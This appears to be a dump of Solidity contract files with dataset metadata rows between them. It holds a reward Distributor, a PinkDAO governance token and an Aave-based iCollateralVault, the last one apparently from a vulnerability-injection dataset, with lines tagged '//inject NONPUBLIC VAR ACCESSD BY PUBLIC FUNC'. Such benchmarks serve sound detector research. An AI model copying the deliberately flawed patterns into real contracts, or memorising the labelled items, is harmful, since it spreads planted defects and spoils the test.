// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable AMB;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _amb, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_amb != address(0));
AMB = _amb;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(AMB).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 113,063 | 14,058 |
17cec2c1ce5d99a43cd54e2e48c63778ab020d58f0e74844d7dd6975396fef96
| 35,190 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x0fFe82C244B1D55DaBf8985fC80F975ee3E1164f/contract.sol
| 4,507 | 17,987 |
pragma solidity ^0.6.1;
/// SPDX-License-Identifier: UNLICENSED
contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint256 amount) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_mint(_msgSender(), amount);
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom (address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer (address sender, address recipient, uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve (address owner, address spender, uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// PinkDAO with Governance.
contract PinkDAO is BEP20('Pink DAO', 'PINKDAO', 35000000000000000000000) {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "PINKDAO::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "PINKDAO::delegateBySig: invalid nonce");
require(now <= expiry, "PINKDAO::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "PINKDAO::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying PINKDAOs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "PINKDAO::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 258,002 | 14,059 |
3f74c1a5452f4da05ae8f3984a506b147e1dc5dd97699bb93778ad95fec02b33
| 13,820 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/NonpublicVarAccessdByPublicFunc/0xb10e11f3e38dc35e06397689e45fa939eb3b0f69_nonpublicVarAccessdByPublicFunc.sol
| 3,560 | 13,466 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
_owner = address(0); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Aave {
function borrow(address _reserve, uint256 _amount, uint256 _interestRateModel, uint16 _referralCode) external;
function repay(address _reserve, uint256 _amount, address payable _onBehalfOf) external payable;
}
interface Oracle {
function getAssetPrice(address reserve) external view returns (uint256);
function latestAnswer() external view returns (uint256);
}
interface LendingPoolAddressesProvider {
function getLendingPool() external view returns (address);
function getLendingPoolCore() external view returns (address);
function getPriceOracle() external view returns (address);
}
contract iCollateralVault is ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address internal constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8);
address internal constant link = address(0xF79D6aFBb6dA890132F9D7c355e3015f15F3406F);
event Approved(address indexed spender, uint256 value);
event Borrowed(address indexed from, address indexed to, uint256 value);
// Spending limits per user measured in dollars 1e8
mapping (address => uint256) private _limits;
constructor() public {
}
function limit(address spender) public view returns (uint256) {
return _limits[spender]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function increaseLimit(address spender, uint256 addedValue) public onlyOwner returns (bool) {
_approve(spender, _limits[spender].add(addedValue)); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function _approve(address spender, uint256 amount) internal {
require(spender != address(0), "approve to the zero address");
_limits[spender] = amount;
emit Approved(spender, amount);
}
function decreaseLimit(address spender, uint256 subtractedValue) public onlyOwner returns (bool) {
_approve(spender, _limits[spender].sub(subtractedValue, "decreased limit below zero")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
// LP deposit, anyone can deposit/topup
function deposit(address reserve, uint256 amount) external nonReentrant {
IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount);
}
// No logic, logic handled underneath by Aave
function withdraw(address reserve, uint256 amount) external nonReentrant onlyOwner {
IERC20(reserve).safeTransfer(msg.sender, amount);
}
function getAave() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPool(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getAaveCore() public view returns (address) {
return LendingPoolAddressesProvider(aave).getLendingPoolCore(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getAaveOracle() public view returns (address) {
return LendingPoolAddressesProvider(aave).getPriceOracle(); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function getReservePriceETH(address reserve) public view returns (uint256) {
return Oracle(getAaveOracle()).getAssetPrice(reserve);
}
function getReservePriceUSD(address reserve) public view returns (uint256) {
return getReservePriceETH(reserve).mul(Oracle(link).latestAnswer()); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
// amount needs to be normalized
function borrow(address reserve, uint256 amount) public returns (bool) {
uint256 _borrow = getReservePriceUSD(reserve).mul(amount);
// LTV logic handled by underlying
Aave(getAave()).borrow(reserve, amount, 2, 7);
IERC20(reserve).safeTransfer(msg.sender, amount);
emit Borrowed(owner(), msg.sender, amount);
_approve(msg.sender, _limits[msg.sender].sub(_borrow, "borrow amount exceeds allowance")); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
return true;
}
function repay(address reserve, uint256 amount) public {
IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount);
Aave(getAave()).repay(reserve, amount, address(uint160(address(this))));
}
}
contract iCollateralVaultFactory {
constructor() public {
}
function deployVault() external returns (address) {
iCollateralVault _vault = new iCollateralVault();
_vault.transferOwnership(msg.sender);
return address(_vault);
}
}
| 279,755 | 14,060 |
70b887fda4d0c20dacd4a52c61b8a094b7d2f0d03d7fbdda9e19daee43915fd5
| 14,852 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xF97071b87aD140573321Dc060205048c26230538/contract.sol
| 3,694 | 14,168 |
// Dependency file: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
